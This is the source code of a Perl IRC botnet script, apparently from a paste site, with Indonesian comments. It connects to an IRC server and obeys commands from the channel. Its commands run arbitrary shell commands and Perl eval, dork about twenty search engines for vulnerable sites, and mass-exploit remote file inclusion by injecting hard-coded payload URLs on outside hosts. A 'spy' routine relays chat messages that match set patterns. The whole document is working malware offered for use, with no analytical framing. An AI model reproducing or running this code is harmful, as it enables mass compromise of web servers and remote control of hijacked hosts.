1. #!/usr/bin/perl
  2.  
  3. print('
  4. ######################################
  5. ## SeLaMaT BeRjUaNg BrOtHeR...!!! ##
  6. ######################################
  7. ');
  8.  
  9. use strict;
  10.  
  11. use IO::Socket::INET;
  12. use LWP::UserAgent;
  13. use HTTP::Request;
  14.  
  15. my $versi = " 6¤ 4[ 9T 3E 9A 3M 9H 3A 9C 3K 9Ver 3 2.3 4] 6¤ ";
  16. my $cmdpre = "!"; #Command Prefix
  17.  
  18. ##[ KONFIGURASI URL ]##
  19. my $zfxid = "http://www.buildabearworkshop.ru/id1.txt??";
  20. my $zfxid2 = "http://www.buildabearworkshop.ru/id2.txt??";
  21. my $fx29sh = " 4[ [ 6TeamHacK 8LaBoRaToRiuMz 12 ] ] ";
  22. my $bypass = "http://www.buildabearworkshop.ru/google.php?";
  23. my $pbot = "http://wagsit.net/x.txt??";
  24. my $botping = "http://wagsit.net/x.txt??";
  25. my $botphp = "http://wagsit.net/x.txt??";
  26. my $botscan = "http://wagsit.net/run.txt??";
  27. my $botedan = "http://wagsit.net/run.txt??";
  28.  
  29. ##[ KONFIGURASI SOURCE ]##
  30. my $mysite = "http://wagsit.net/";
  31. my $spread = $mysite."run.txt";
  32. my $spreadon = $mysite."x.txt";
  33. my $joomlaz = $mysite."joomla.txt";
  34. #cmd inject
  35. my $fx29sh = " 4[ [ 6TeamHacK 8LaBoRaToRiuMz 12 ] ] ";
  36.  
  37. ##[ KONFIGURASI IRC ]##
  38. my @servers = ("irc.gorontalo-music.com");
  39. my %bot = (
  40. nick => "Power[".int(rand(03))."]",
  41. ident => "Gohack".int(rand(03)),
  42. chan => ["#kim"],
  43. server => $servers[rand(scalar(@servers))],
  44. port => "6667"
  45. );
  46.  
  47. ##[ KONFIGURASI USER ##
  48. ## cryptz: 0 = Not Encrypted, 1 = Encrypted
  49. my %boss = (
  50. zreg => {
  51. pass => 'anto',
  52. status => "BeSaR",
  53. cryptz => 0,
  54. login => 0
  55. },
  56. zreg => {
  57. pass => 'anto',
  58. status => "BeSaR",
  59. cryptz => 0,
  60. login => 0
  61. },
  62. );
  63.  
  64. ##[ KONFIGURASI SPY ]##
  65. my %spy = (
  66. host => "",
  67. chanz => [""],
  68. wordz => ['http:\/\/.*[=]'],
  69. foundz => []
  70. );
  71.  
  72. ##[ KONFIGURASI BOT ]##
  73. ## Options: 0 = Disable, 1 = Enable
  74. my %conf = (
  75. showsite => 0,
  76. linez => 3,
  77. sleepz => 3,
  78. rfipid => 100,
  79. rficnt => 100,
  80. rficnt2 => 100,
  81. timeout => 15,
  82. );
  83.  
  84. ##[ KONFIGURASI WARNA ]##
  85. my %colz = (
  86. 1 => " 14 [ © ] 8 " , 2 => " 14[ © ] ",
  87. 3 => " 8-> 4[ 6 " , 4 => " 12] 7<-",
  88. );
  89.  
  90. ##[ PARAMETER BARIS PERINTAH ]##
  91. $bot{chan} = "#".$ARGV[0] if $ARGV[0];
  92. $bot{server} = $ARGV[1] if $ARGV[1];
  93. $bot{port} = $ARGV[2] if $ARGV[2];
  94.  
  95. ##[ INISIALISASI VARIABEL ]##
  96. my $chanx = "#antox";
  97. my $dbgchan = "#antox";
  98. my $nickx = "zreg";
  99. my @chans = ($bot{chan});
  100. my @badbugz = ("scan","bug");
  101. my @baddorkz = ("dork");
  102. my $keluar = 0;
  103. my $sock;
  104.  
  105. ##[ KONFIGURASI LOCALTESTING ]##
  106. my $tez = $ARGV[3];
  107. if ($tez == 1) {
  108. $zfxid = "http://www.buildabearworkshop.ru/id1.txt??";
  109. $zfxid2 = "http://www.buildabearworkshop.ru/id2.txt??";
  110. $fx29sh = " 4[ [ 6TeamHacK 8LaBoRaToRiuMz 12 ] ] ";
  111. }
  112.  
  113. ##[ PROGRAM UTAMA ]##
  114. if (fork() == 0) { while ($keluar != 1) { irc_connect(); } die("KeLuaR!"); }
  115.  
  116. ##[ SUBRUTIN KONEKSI IRC ]##
  117. sub irc_connect {
  118. $sock = IO::Socket::INET->new(PeerAddr => $bot{server},
  119. PeerPort => $bot{port},
  120. Proto => 'tcp')
  121. or die "Ga bisa connect ke ".$bot{server}.":".$bot{port}."\r\n";
  122. $sock->autoflush(1);
  123.  
  124. irc_nick($bot{nick});
  125. irc_user($bot{ident});
  126.  
  127. my ($baris,$hb);
  128. my $loginboss = 0;
  129. my $userstat = "";
  130.  
  131. while ( $baris = <$sock> ) {
  132. $hb++;
  133.  
  134. ##[ PARSING ]##
  135. my @teks;
  136. my $com;
  137. my $me = $bot{nick};
  138. my ($fcom,$dteks,@teks) = split(/\s+:/,$baris);
  139. my ($duhost,$dcom,$dtarget) = split(/ /,$fcom);
  140. my ($dnick,$dhost) = split(/!/,$duhost);
  141. $dcom = "" unless ($dcom);
  142. $dtarget = "" unless ($dtarget);
  143. $dnick =~ s/://;
  144. $dteks = trimrn($dteks);
  145. if ($dteks =~ /^[$cmdpre](.*)/) { $com = $1; } else { $com = ""; }
  146.  
  147. #print $baris."\n$dnick | $dcom | $dtarget : $dteks\n";
  148.  
  149. ##[ CEK USER ]##
  150. if ($boss{$dnick}) { ($loginboss,$userstat) = ($boss{$dnick}{"login"},$boss{$dnick}{"status"}); }
  151. else { ($loginboss,$userstat) = (0,""); }
  152.  
  153. ##[ RESPON KE SERVER ]##
  154. if ($dnick =~ /PING/) { irc_raw("PONG $dteks"); }
  155. if ($dcom =~ /001/) { irc_join($chanx); foreach my $c (@chans) { irc_join($c); } }
  156. elsif ($dcom =~ /NICK|PART|QUIT/) { if ( $boss{$dnick}{"login"} == 1 ) { $boss{$dnick}{"login"} = 0; irc_ntc($dnick,"Logout!"); } }
  157.  
  158. ##[ PERINTAH PUBLIK ]##
  159. if (($dtarget) && ($dtarget eq $me)) { $dtarget = $dnick; }
  160. if ($com =~ /^info$/) { bot_info($dtarget); }
  161. elsif ($com =~ /^bot1\s+(http:\/\/.*[=])/) { gae_bota($dtarget,$dnick,$1); }
  162. elsif ($com =~ /^bot2\s+(http:\/\/.*[=])/) { gae_botb($dtarget,$dnick,$1); }
  163. elsif ($com =~ /^bot3\s+(http:\/\/.*[=])/) { gae_botc($dtarget,$dnick,$1); }
  164. elsif ($com =~ /^bot4\s+(http:\/\/.*[=])/) { gae_botm($dtarget,$dnick,$1); }
  165. elsif ($com =~ /^enter\s+(http:\/\/.*[=])/) { entered($dtarget,$dnick,$1); }
  166. elsif ($com =~ /^bot5\s+(http:\/\/.*[=])/) { gaescan($dtarget,$dnick,$1); }
  167. elsif ($com =~ /^bot6\s+(http:\/\/.*[=])/) { gaeruwet($dtarget,$dnick,$1); }
  168. elsif ($com =~ /^respon/) { cek_respon($dtarget); }
  169. elsif ($com =~ /^url(en|de)\s+(.*)/) {
  170. my $url = $2; my $en;
  171. if ( $1 eq "en" ) { $en = "Encode"; $url = urlen($url); }
  172. elsif ( $1 eq "de" ) { $en = "Decode"; $url = urlde($url); }
  173. msgi($dtarget,"URL $en", $url);
  174. }
  175. elsif ($com =~ /^cek\s+(http:\/\/.*[=])/) { cek_shell($dtarget,$dnick,$1); }
  176. elsif ($com =~ /^power\s+(.*)/ && $boss{$dnick}) {
  177. my $pass = $1; my $auth = $boss{$dnick}{"login"};
  178. if ( $pass && $auth == 0 ) {
  179. if (cryptz($pass) eq $boss{$dnick}{"pass"}) {
  180. $boss{$dnick}{"login"} = 1;
  181. irc_ntc($dnick," 9Siap Juragan...! ".$boss{$dnick}{"status"}."!");
  182. }
  183. else { irc_ntc($dnick," 14KoPeDz...! "); }
  184. }
  185. else {
  186. if ($auth == 0) { irc_ntc($dnick," 7AutH se mBUt...! "); }
  187. else { irc_ntc($dnick,$boss{$dnick}{"status"}."!"); } }
  188. }
  189. if ($dtarget && $dtarget ne $me) {
  190. if (($com =~ /^cok\s+(.+?[=])\s+(.*)/) && (fork() == 0)) { s_scanz($dtarget,$1,$2,$hb,1); exit; }
  191. if (($com =~ /^cok1\s+(.+?[=])\s+(.*)/) && (fork() == 0)) { a_scanz($dtarget,$1,$2,$hb,1); exit; }
  192. elsif (($com =~ /^cok2\s+(.+?[=])\s+(.*)/) && (fork() == 0)) { s_scanz($dtarget,$1,$2,$hb,2); exit; }
  193. }
  194. ##[ END OF PUBLIC ]##
  195.  
  196. ##[ PERINTAH USER ]##
  197. if ($loginboss == 0) {
  198. if ($com =~ /^join\s+(.*)/) { irc_join($1); push(@chans,$1); }
  199. elsif ($com =~ /^part\s+(.*)/) {
  200. my $pchan = $1; irc_part($1);
  201. for my $i(0..scalar(@chans)) { if ($chans[$i] eq $pchan) { undef $chans[$i]; } }
  202. }
  203. elsif ($com =~ /^nick\s+(.*)/) { $bot{nick} = $1; irc_nick($bot{nick}); }
  204. elsif ($com =~ /^bos$/ ) { my @bos = keys %boss; my $bos2 = join(" ",@bos); msgi($dtarget,"BoZz",$bos2); }
  205. elsif ($com =~ /^cryptz\s+(.*)/) { msgi($dnick,$1,cryptz($1)); }
  206. elsif ($com =~ /^logout$/ ) { $boss{$dnick}{"login"} = 0; irc_ntc($dnick,"Logout berhasil!"); }
  207. elsif (($com =~ /^joomla\s+(.*)/) && (fork() == 0)) { s_scanz($dtarget,"",$1,$hb,3); exit; }
  208. elsif ($com =~ /^sublink\s+(.*)/) { my @sl = lnk_sub($1); foreach my $e(@sl) { irc_msg($dtarget,$e); } }
  209. elsif ($com =~ /^http(1|2|3)\s+(.+?)\s+(.*)/) {
  210. my ($t,$nf,$q) = ($1,$2,$3);
  211. my $h;
  212. if ($t == 1) { $h = bukasitus($q); }
  213. elsif ($t == 2) { $h = bukasitus2($q); }
  214. else { $h = bukasitus3($q); }
  215. f_simpan2($nf,$h); ntci($dnick,"SaVeD ($t)",$nf);
  216. }
  217. elsif ($com =~ /^regex(1|2)\s+(.+?)\s+(.*)/) {
  218. my $n = $1;
  219. my $q = bukasitus($2);
  220. my $regex = $3;
  221. if ($n ==1) {
  222. if ($q !~ /$regex/) { irc_msg($dtarget,"Ga cocok!"); }
  223. while ($q =~ m/$regex/g ) { irc_msg($dtarget,$1); sleep(1); }
  224. }
  225. else {
  226. while ($q =~ m/<a href=\"(.*?)\">http:\/\/(.*?)<\/a>/g) { irc_msg($dtarget,$2); sleep(1); }
  227. }
  228. }
  229. }
  230. ##[ END OF USER ]##
  231.  
  232. ##[ PERINTAH ADMIN ]##
  233. if (($loginboss == 0) && ($userstat eq "BeSaR")) {
  234. if ($com =~ /^gojoin\s+(.*)/) { irc_join($1); push(@chans,$1); }
  235. elsif ($com =~ /^gopart\s+(.*)/) {
  236. my $pchan = $1; irc_part($1);
  237. for my $i(0..scalar(@chans)) { if ($chans[$i] eq $pchan) { undef $chans[$i]; } }
  238. }
  239. elsif ($com =~ /^gonick\s+(.*)/) { $bot{nick} = $1; irc_nick($bot{nick}); }
  240. elsif ($com =~ /^rfiproses\s+([0-9].*)/) { $conf{rfipid} = $1; msgi($dtarget,"RFI Pid",$conf{rfipid}); }
  241. elsif ($com =~ /^minggat/) { irc_quit(" 8,2inalillahi wainalillahiroji'un...!!! "); $keluar = 1; exit; }
  242. elsif ($com =~ /^reonline/) { irc_quit(" 8,2inalillahi wainalillahiroji'un...!!! "); }
  243. elsif ($com =~ /^explo\s+([0-9].*)/) { $conf{rficnt} = $1; msgi($dtarget,"RFI Count",$conf{rficnt}); }
  244. elsif ($com =~ /^cshell\s+(.*)/) { $fx29sh = $1; msgi($dtarget,"Injector RFI",$fx29sh); }
  245. elsif ($com =~ /^csp\s+(.*)/) { $spread = $1; msgi($dtarget,"Injector Spread",$spread); }
  246. elsif ($com =~ /^chanhasil\s+(.*)/) { $chanx = $1; msgi($dtarget,"Chan Hasil Target ",$chanx); }
  247. elsif ($com =~ /^goid(1|2)\s+(.*)/) {
  248. my ($n,$url) = ($1,$2);
  249. if ($n == 1) { $zfxid = $url; }
  250. elsif ($n == 2) { $zfxid2 = $url; }
  251. msgi($dtarget,"Respon $n RFI",$url);
  252. }
  253. elsif ($com =~ /^urlbot(1|2|3)\s+(.*)/) {
  254. my ($n,$url) = ($1,$2);
  255. if ($n == 1) { $pbot = $url; }
  256. elsif ($n == 2) { $botping = $url; }
  257. elsif ($n == 3) { $botphp = $url; }
  258. msgi($dtarget," 12 - x - 11Change Bot url 3 $n 1Tranforms 3 ",$url);
  259. }
  260. elsif ($com =~ /^urlcetak(1|2)\s+(.*)/) {
  261. my ($n,$url) = ($1,$2);
  262. if ($n == 1) { $botscan = $url; }
  263. elsif ($n == 2) { $botedan = $url; }
  264. msgi($dtarget," 12 - x - 11Change url Mesin Cetak 3 $n 1Tranforms 3 ",$url);
  265. }
  266. elsif ($com =~ /^chans/) { my $chans = join(",", @chans); ntci($dnick,"ChaNz",$chans); }
  267. ##[ PERINTAH SPY ]##
  268. elsif ($com =~ /^spy$/ ) { ntci($dnick,"SpY","Host: ".$spy{"host"}." Chans: ".join(",", @{ $spy{"chanz"} })." Words: ".join(",", @{ $spy{"wordz"} })); }
  269. elsif ($com =~ /^spy(found|show|clear)$/ ) {
  270. my $n = $1;
  271. if ($n eq "found") { msgi($dtarget,"SpYFouNd",scalar(@{ $spy{"foundz"} })); }
  272. elsif ($n eq "show") {
  273. my $i = 0;
  274. for my $f (@{ $spy{"foundz"} }) { irc_msg($dtarget,$f); }
  275. $i++; if ($i % $conf{linez} == 0) { sleep($conf{sleepz}); }
  276. }
  277. elsif ($n eq "clear") { $spy{"foundz"} = []; msgi($dtarget,"SpyList","DiBersiHkaN!"); }
  278. else { msge($dtarget,"Spy","PeRinTah SaLah!"); }
  279. }
  280. elsif ($com =~ /^spyhost\s+(.*)/ ) { $spy{"host"} = $1; ntci($dnick,"SpYHosT",$spy{"host"}); }
  281. elsif ($com =~ /^spychan\s+(.*)/ ) {
  282. unless ($spy{"host"}) { msge($dtarget,"SiLaHkaN SeT SpyHost TerLebih DahuLu!",""); }
  283. else{ irc_join($1); push @{ $spy{"chanz"} }, $1; my $chans = join(",", @{ $spy{"chanz"} }); ntci($dnick,"SpYChaNz",$chans); }
  284. }
  285. elsif ($com =~ /^spyword\s+(.*)/ ) { push @{ $spy{"wordz"} }, $1; my $words = join(",", @{ $spy{"wordz"} }); ntci($dnick,"SpYWoRDz",$words); }
  286. ##[ END OF PERINTAH SPY ]##
  287. elsif ($com =~ /^keluar/) { irc_quit(" 8,2inalillahi wainalillahiroji'un...!!! "); $keluar = 1; system("killall perl"); exit; }
  288. elsif ($com =~ /^raw\s+(.*)/) { irc_raw($1); }
  289. elsif ($com =~ /^cspread\s+(.*)/) {
  290. my $url = $1;
  291. $spread = $url;
  292. msgi($dtarget,"Spread RFI",$spread);
  293. }
  294. elsif ($com =~ /^\+bos\s+(.+?)\s+(.*)/) {
  295. $boss{$1}{pass} = "fx";
  296. $boss{$1}{status} = $2;
  297. $boss{$1}{login} = 0;
  298. $boss{$1}{cryptz} = 0;
  299. ntci($dnick,"BoZz","$1 ditambahkan sbg ".$boss{$1}{status});
  300. msgi($1,"BoZz","Hai $1! Ketik .auth ".$boss{$1}{pass});
  301. }
  302. elsif ($com =~ /^eval\s+(.*)/) { eval($1); }
  303. elsif (( $com =~ /^cmd\s+(.*)/) && ( fork() == 0 ) ) {
  304. my $cmd = $1;
  305. if ($cmd =~ /cd (.*)/) { chdir("$1") || irc_msg($dtarget,"Ga bisa ganti dir!"); return; }
  306. my @output = `$cmd`;
  307. my $i = 0;
  308. foreach my $out (@output) {
  309. $i++; if ($i % $conf{linez} == 0) { sleep($conf{sleepz}); }
  310. irc_msg($dtarget,"$out");
  311. }
  312. exit;
  313. }
  314. }
  315. ## END OF ADMIN ##
  316.  
  317. ##[ MATA-MATA ]##
  318. if ($dtarget ne $spy{"host"}) {
  319. my $is_spychan = grep $_ eq $dtarget, @{$spy{"chanz"}};
  320. if ($is_spychan == 1) {
  321. for my $t (@{$spy{"wordz"}}) {
  322. if ($dteks =~ /$t/) {
  323. msgi($spy{"host"},"!",$dteks); sleep(1);
  324. push @{ $spy{"foundz"} }, $dteks;
  325. }
  326. }
  327. }
  328. }
  329. ##[ END OF MATA-MATA ]##
  330. }
  331. ## END WHILE ##
  332. }
  333. ## END KONEK ##
  334.  
  335. #########################
  336. ##[ RUTIN EKSPLOITASI ]##
  337. #########################
  338. sub s_scanz {
  339. my ($to,$bug,$dork,$sb,$type) = @_;
  340. $sb = "CaMaChO".$sb.".txt";
  341. $dork = bersihdork($to,$dork);
  342. my %typez = (
  343. 1 => "RFI ScaNneR",
  344. 2 => "RFI ScaN & ExpLoiT",
  345. 3 => "JooMLa MaSs ScaN & ExpLoiT"
  346. );
  347. my $badbug = cek_bug($bug);
  348. if ($badbug == 1) { msge($to,"BuG","BuGnya JeLek! ScaNNinG DiCanCeL"); return; }
  349. my $baddork = cek_dork($dork);
  350. if ($baddork == 1) { msge($to,"DoRk","DorKnya JeLek! ScaNNinG DiCanCeL"); return; }
  351. if ($type == 3) {
  352. my $h = bugjoomla("hitung");
  353. if ($h == 0) { msge($to,"Joomla","BuGnya Ga BiSa DiLoaD! ScaNNinG DiCanCeL"); return; }
  354. }
  355. irc_msg($to,$colz{1}."AkHirnYa DatAnG jUGa..".$colz{2});
  356. my $stat = cek_respon($to);
  357. if ($stat != 2) { irc_msg($to,$colz{1}."ReSpoN Ga BeKerJa..! ScaNning diCaNCeL!".$colz{2}); return; }
  358. irc_msg($to,$colz{1}." ".$typez{$type}." TeamHacK! 0 ".$conf{rfipid}."/PID 9ID: 0 $sb".$colz{2});
  359. irc_msg($to,$colz{1}." BuGz: 0 $bug ") if ($type != 3);
  360. irc_msg($to,$colz{1}." DoRkz: 0 $dork ");
  361. s_cari($to,$dork,$sb,$bug,$type);
  362. s_eksploit(1,$to,$bug,$dork,$sb) if ($type == 1);
  363. irc_msg($to,$colz{1}." ".$typez{$type}." TeamHacK SeLeSai! 0 $dork 9ID: 0 $sb".$colz{2});
  364. return;
  365. }
  366.  
  367. sub a_scanz {
  368. my @domini = &SiteDomains();
  369. my ($to,$bug,$dork,$sb,$type) = @_;
  370. $sb = "CaMaChO".$sb.".txt";
  371. $dork = bersihdork($to,$dork);
  372. my %typez = (
  373. 1 => "Auto ScaNneR Domains",
  374. 2 => "ScaN & ExpLoiT",
  375. 3 => "JooMLa MaSs ScaN & ExpLoiT"
  376. );
  377. my $badbug = cek_bug($bug);
  378. if ($badbug == 1) { msge($to,"BuG","BuGnya JeLek! ScaNNinG DiCanCeL"); return; }
  379. my $baddork = cek_dork($dork);
  380. if ($baddork == 1) { msge($to,"DoRk","DorKnya JeLek! ScaNNinG DiCanCeL"); return; }
  381. if ($type == 3) {
  382. my $h = bugjoomla("hitung");
  383. if ($h == 0) { msge($to,"Joomla","BuGnya Ga BiSa DiLoaD! ScaNNinG DiCanCeL"); return; }
  384. }
  385. foreach my $Domains(@domini){
  386. irc_msg($to,$colz{1}."AkHirnYa DatAnG jUGa..".$colz{2});
  387. my $stat = cek_respon($to);
  388. if ($stat != 2) { irc_msg($to,$colz{1}."ReSpoN Ga BeKerJa! ScaNning diCaNCeL!".$colz{2}); return; }
  389. irc_msg($to,$colz{1}." ".$typez{$type}." TeamHacK! 0 ".$conf{rfipid}."/PID 9ID: 0 $sb".$colz{2});
  390. irc_msg($to,$colz{1}." 14[ © ] 9Auto Scan Domain Dijalankan 14[ © ] ");
  391. my $auto_dork = $dork." site:".$Domains;
  392. irc_msg($to,$colz{1}." BuGz: 0 $bug ") if ($type != 3);
  393. irc_msg($to,$colz{1}." DoRkz: 0 $dork ");
  394. s_cari($to,$auto_dork,$sb,$bug,$type);
  395. s_eksploit(1,$to,$bug,$auto_dork,$sb) if ($type == 1);
  396. irc_msg($to,$colz{1}." ".$typez{$type}." TeamHacK SeLeSai! 0 $auto_dork 9ID: 0 $sb".$colz{2});
  397. }
  398. }
  399. sub s_eksploit {
  400. #Type: 1 = Biasa, 2 = Cari dan exploit, 3 = Joomla
  401. #Engine: Kosong = Eksploit total, Ada = Eksploit per engine
  402. my ($type,$chan,$bug,$dork,$tf,$engine) = @_;
  403. my @prosesbaru;
  404. my @semuatarget;
  405. my $hitung;
  406. my $num = 0;
  407. my @bugjoomla = bugjoomla($chan) if ($type == 3);
  408. unless (open(FILEZ,"< $tf")) { msge($chan,"FILE","Ga BiSa BuKa $tf!"); return; }
  409. while (my $r = <FILEZ>) { $r =~ s/\n//g; push(@semuatarget,$r); }
  410. close(FILEZ);
  411. f_hapus($tf);
  412. my @target = lnk_sortir(@semuatarget);
  413. if (!$engine) {
  414. irc_msg($chan,$colz{1}."PeNCaRiaN 0 $dork".$colz{2});
  415. irc_msg($chan,$colz{1}."PaKaiaN: 0 ".scalar(@semuatarget)." 9KoToR: 0 ".scalar(@target)." 9ID: 0 $tf".$colz{2});
  416. irc_msg($chan,$colz{1}." 9E 9x 3p 3l 3o 9i 9t 9i 3n 3g 15. 14. 15. 14. ".$colz{2});
  417. }
  418. foreach my $situs (@target) {
  419. $hitung++;
  420. if ($hitung % $conf{rfipid} == 0) {
  421. foreach my $f (@prosesbaru) { waitpid($f,0); }
  422. $num = 0;
  423. }
  424. if ($type != 1 && $hitung % $conf{rficnt2} == 0) {
  425. irc_msg($chan," $engine ".$hitung." ". scalar(@target). " ");
  426. }
  427. if ($type == 1 && $hitung % $conf{rficnt} == 0) {
  428. irc_msg($chan,$colz{3}." 4Exp 14loit 15ing 8 : 14 ".$hitung." 6 ".scalar(@target).$colz{4});
  429. }
  430. $prosesbaru[$num] = fork();
  431. if ($prosesbaru[$num] == 0) {
  432. if ($type != 3) {
  433. my $q = bukasitus("http://".$situs.$bug.$zfxid."?");
  434. if ($q =~ /TeamHack/) { safemode(1,$chan,$situs,$bug,$engine); sleep($conf{sleepz}); }
  435. }
  436. else {
  437. foreach my $bug (@bugjoomla) {
  438. my $q = bukasitus("http://".$situs.$bug.$zfxid."?");
  439. if ($q =~ /TeamHack/) { safemode(1,$chan,$situs,$bug,$engine); sleep($conf{sleepz}); }
  440. }
  441. }
  442. exit(0);
  443. }
  444. $num++;
  445. }
  446. foreach my $f (@prosesbaru) { waitpid($f,0); }
  447. if ($engine) { irc_msg($chan," $engine :+: 4C omplete :+:"); }
  448. }
  449. ###########################
  450. ##[ RUTIN SEARCH ENGINE ]##
  451. ###########################
  452. sub s_cari {
  453. #Type: 1 = Cari saja, 2 = Cari dan eksploit, 3 = Cari dan eksploit Joomla
  454. my ($chan,$dork,$nf,$bug,$type) = @_;
  455. my @engz;
  456. my $key = $dork;
  457. $dork = urlen($key);
  458. $engz[0] = fork(); if ($engz[0] == 0) { s_engine("google","Google",$type,$chan,$bug,$dork,$nf); exit; }
  459. #$engz[1] = fork(); if ($engz[1] == 0) { s_engine("aol","Aol",$type,$chan,$bug,$dork,$nf); exit; }
  460. #$engz[2] = fork(); if ($engz[2] == 0) { s_engine("netscape","Netscape",$type,$chan,$bug,$dork,$nf); exit; }
  461. $engz[3] = fork(); if ($engz[3] == 0) { s_engine("yahoo","Yahoo",$type,$chan,$bug,$dork,$nf); exit; }
  462. $engz[4] = fork(); if ($engz[4] == 0) { s_engine("live","Live",$type,$chan,$bug,$dork,$nf); exit; }
  463. $engz[5] = fork(); if ($engz[5] == 0) { s_engine("ask","Ask",$type,$chan,$bug,$dork,$nf); exit; }
  464. $engz[6] = fork(); if ($engz[6] == 0) { s_engine("google2","Google2",$type,$chan,$bug,$dork,$nf); exit; }
  465. $engz[7] = fork(); if ($engz[7] == 0) { s_engine("altavista","Altavista",$type,$chan,$bug,$dork,$nf); exit; }
  466. $engz[8] = fork(); if ($engz[8] == 0) { s_engine("alltheweb","AllTheWeb",$type,$chan,$bug,$dork,$nf); exit; }
  467. $engz[9] = fork(); if ($engz[9] == 0) { s_engine("goodsrch","GoodSearch",$type,$chan,$bug,$dork,$nf); exit; }
  468. $engz[10] = fork(); if ($engz[10] == 0) { s_engine("lycos","Lycos",$type,$chan,$bug,$dork,$nf); exit; }
  469. $engz[11] = fork(); if ($engz[11] == 0) { s_engine("uol","Uol",$type,$chan,$bug,$dork,$nf); exit; }
  470. $engz[12] = fork(); if ($engz[12] == 0) { s_engine("fireball","Fireball",$type,$chan,$bug,$dork,$nf); exit; }
  471. $engz[13] = fork(); if ($engz[13] == 0) { s_engine("gigablast","Gigablast",$type,$chan,$bug,$dork,$nf); exit; }
  472. $engz[14] = fork(); if ($engz[14] == 0) { s_engine("virgilio","Virgilio",$type,$chan,$bug,$dork,$nf); exit; }
  473. $engz[15] = fork(); if ($engz[15] == 0) { s_engine("webde","Web.de",$type,$chan,$bug,$dork,$nf); exit; }
  474. $engz[16] = fork(); if ($engz[16] == 0) { s_engine("mamma","Mamma",$type,$chan,$bug,$dork,$nf); exit; }
  475. $engz[17] = fork(); if ($engz[17] == 0) { s_engine("clusty","Clusty",$type,$chan,$bug,$dork,$nf); exit; }
  476. $engz[18] = fork(); if ($engz[18] == 0) { s_engine("dmoz","Dmoz",$type,$chan,$bug,$dork,$nf); exit; }
  477. $engz[19] = fork(); if ($engz[19] == 0) { s_engine("abacho","Abacho",$type,$chan,$bug,$dork,$nf); exit; }
  478. $engz[20] = fork(); if ($engz[20] == 0) { s_engine("euroseek","Euroseek",$type,$chan,$bug,$dork,$nf); exit; }
  479. $engz[21] = fork(); if ($engz[21] == 0) { s_engine("hotbot","Hotbot",$type,$chan,$bug,$dork,$nf); exit; }
  480. $engz[22] = fork(); if ($engz[22] == 0) { s_engine("webcrawl","WebCrawler",$type,$chan,$bug,$dork,$nf); exit; }
  481. foreach my $e (@engz) { waitpid($e,0); }
  482. }
  483. sub s_engine {
  484. my ($f,$se,$type,$chan,$bug,$dork,$ef) = @_;
  485. my @hc;
  486. if ($f eq "google" ) { @hc = se_google($chan,$dork,$ef); }
  487. elsif ($f eq "google2" ) { @hc = se_google_m($chan,$dork,$ef); }
  488. elsif ($f eq "aol" ) { @hc = se_aol($chan,$dork,$ef); } #Unused
  489. elsif ($f eq "yahoo" ) { @hc = se_yahoo($chan,$dork,$ef); }
  490. elsif ($f eq "altavista") { @hc = se_altavista($chan,$dork,$ef); }
  491. elsif ($f eq "alltheweb") { @hc = se_alltheweb($chan,$dork,$ef); }
  492. elsif ($f eq "goodsrch" ) { @hc = se_goodsearch($chan,$dork,$ef); }
  493. elsif ($f eq "ask" ) { @hc = se_ask($chan,$dork,$ef); }
  494. elsif ($f eq "fireball" ) { @hc = se_fireball($chan,$dork,$ef); }
  495. elsif ($f eq "gigablast") { @hc = se_gigablast($chan,$dork,$ef); }
  496. elsif ($f eq "lycos" ) { @hc = se_lycos($chan,$dork,$ef); }
  497. elsif ($f eq "live" ) { @hc = se_live($chan,$dork,$ef); }
  498. elsif ($f eq "hotbot" ) { @hc = se_hotbot($chan,$dork,$ef); }
  499. elsif ($f eq "virgilio" ) { @hc = se_virgilio($chan,$dork,$ef); }
  500. elsif ($f eq "webde" ) { @hc = se_webde($chan,$dork,$ef); }
  501. elsif ($f eq "uol" ) { @hc = se_uol($chan,$dork,$ef); }
  502. elsif ($f eq "abacho" ) { @hc = se_abacho($chan,$dork,$ef); }
  503. elsif ($f eq "clusty" ) { @hc = se_clusty($chan,$dork,$ef); }
  504. elsif ($f eq "dmoz" ) { @hc = se_dmoz($chan,$dork,$ef); }
  505. elsif ($f eq "euroseek" ) { @hc = se_euroseek($chan,$dork,$ef); }
  506. elsif ($f eq "webcrawl" ) { @hc = se_webcrawler($chan,$dork,$ef); }
  507. my @cl = lnk_sortir(@hc);
  508. msgr($chan,$se,scalar(@hc),scalar(@cl));
  509. if (scalar(@cl) == 0) { exit; }
  510. if ($type == 1) { foreach my $e (@cl) { f_simpan($ef,$e); } }
  511. else {
  512. my $ef2 = $f.$ef;
  513. foreach my $e (@cl) { f_simpan($ef2,$e); }
  514. if ($type == 2) { s_eksploit(2,$chan,$bug,$dork,$ef2,$se); }
  515. elsif ($type == 3) { s_eksploit(3,$chan,$bug,$dork,$ef2,$se); }
  516. }
  517. }
  518. ##[ GOOGLE ]##
  519. sub se_google {
  520. my ($chan,$key,$nf) = @_;
  521. my @daftar;
  522. my $num = 50; my $max = 5000; my $p = 0;
  523. #my $url = "http://localhost/search/google.co.id.htm";
  524. my $url = "http://www.google.co.id/search?num=".$num."&hl=id&q=".$key."&start=".$p."&sa=N";
  525. my $murl = "http://www.google.co.id";
  526. my $nxurl;
  527. my $q = bukasitus($url);
  528. if ( $q !~ /2009 Google/ ) { msge($chan,"Google"," 0,4JEMBUT...!!! "); msge($chan," 8 Google bypas 4: 14",$bypass."key 4= 6".$key); @daftar = se_gbypass($chan,$key,$nf); }
  529. if ( $q =~ /dari sekitar <b>(.+?)<\/b>/ ) {
  530. my $h = $1; $h =~ s/,//g; msgt($chan,"Google","$h");
  531. }
  532. if ( $q =~ /class=b><a href=\"(.*?)\">/ ) {
  533. my $nxurl = $1; msgn($dbgchan,"Google","Searching:");
  534. }
  535. while ( $q =~ m/<h3 class=r><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
  536. for ($p=50;$p<=$max;$p+=$num) {
  537. $nxurl = "http://www.google.co.id/search?num=".$num."&hl=id&q=".$key."&start=".$p."&sa=N";
  538. $q = bukasitus($nxurl);
  539. while ( $q =~ m/<h3 class=r><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
  540. if ( $q !~ /<h3 class=r><a href=\"http:\/\/(.*?)\"/ ) { return @daftar; }
  541. }
  542. return @daftar;
  543. }
  544. ##[ GOOGLE BYPASS ]##
  545. sub se_gbypass {
  546. my ($chan,$key,$nf) = @_;
  547. my @daftar;
  548. my $num = 50; my $max = 1000; my $p = 0;
  549. my $url = $bypass."?key=".$key."&max=".$max;
  550. my $nxurl;
  551. my $q = bukasitus($url);
